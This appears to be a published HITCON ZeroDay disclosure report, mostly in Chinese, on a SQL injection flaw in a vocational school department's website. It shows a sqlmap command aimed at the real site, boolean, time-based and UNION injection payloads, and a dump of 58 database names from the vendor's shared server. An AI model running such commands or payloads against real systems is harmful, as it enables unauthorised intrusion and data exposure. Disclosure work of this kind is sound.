Vulnerability Overview

ZDID: ZD-2021-00649
發信 Vendor: 哈吉設計 8Design
Title: 花蓮高工電機科 SQLi RCE
Introduction: SQLi RCE

處理狀態

目前狀態

公開

Last Update : 2021/11/05

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2021/09/05 23:41:34 : 新提交 (由 entroy 更新此狀態)
2021/09/11 01:24:52 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2021/09/13 12:07:03 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2021/09/13 12:07:03 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2021/09/13 12:07:03 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2021/11/05 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2021-00649
通報者：entroy (entroy)
風險：高
類型：任意檔案上傳 (Arbitrary File Upload)

參考資料

攻擊者可上傳任意檔案至該主機，有機會經由上傳之文件取得該主機系統權限。

漏洞說明： OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload

漏洞說明： CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

SQLi

稍微測試發現參數 id 有問題，直接丟 sqlmap

sqlmap https://ed-hlis.m8rex.com/news_one.php\?id\=43 --level 5 --risk 3 --batch --random-agent -p id

result:

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=43 AND 8668=8668

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=43 AND (SELECT 4095 FROM (SELECT(SLEEP(5)))nLJM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 25 columns
    Payload: id=-4172 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626a71,0x574a566662644679687252447150486555504a63744a6f74694448744d6455794c59496d484c704e,0x7171626a71)-- -
---
[21:19:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 7
web application technology: PHP, Apache 2.4.6, PHP 7.4.20
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

db:

available databases [58]:
[*] abop
[*] allPassDB_v2
[*] allpassT
[*] allpasstour
[*] allpasstour_hk
[*] axieki
[*] boxibang_contract_ai
[*] clickmore_client
[*] cooperative_hlis
[*] core8
[*] core8_dev
[*] core8sys
[*] department_electrical
[*] donateweb_mgsc
[*] haji_sys
[*] i2979406_wp5
[*] ibookerdb
[*] information_schema
[*] kingOfSnack
[*] lawyer_lee
[*] lawyer_ptlf_N
[*] masterZeng
[*] mysql
[*] Niikyoya
[*] no8idv
[*] notarproweb_billy
[*] notarproweb_chung
[*] notarproweb_jameshuang
[*] notarproweb_kuo
[*] notarproweb_newtaipei
[*] notarproweb_notarccy
[*] notarproweb_notarychen
[*] notarproweb_notarywu
[*] notarproweb_notaryyu
[*] notarproweb_taichung
[*] notarproweb_taipeinotary
[*] notarproweb_taitung
[*] notarproweb_twnotary
[*] notarproweb_wangnotary
[*] notarproweb_yhli
[*] notarproweb_yunlin
[*] notarproweb_zzz
[*] notary_beida
[*] notaryweb
[*] ols_riverking
[*] performance_schema
[*] planinfo
[*] richmaniiweb
[*] stonebroker
[*] stonebroker_leftover
[*] supportservdb
[*] test
[*] twnotary
[*] urcontract
[*] urcontract_bethesda
[*] web_yucpa
[*] web_yujen
[*] webbasic_hualien69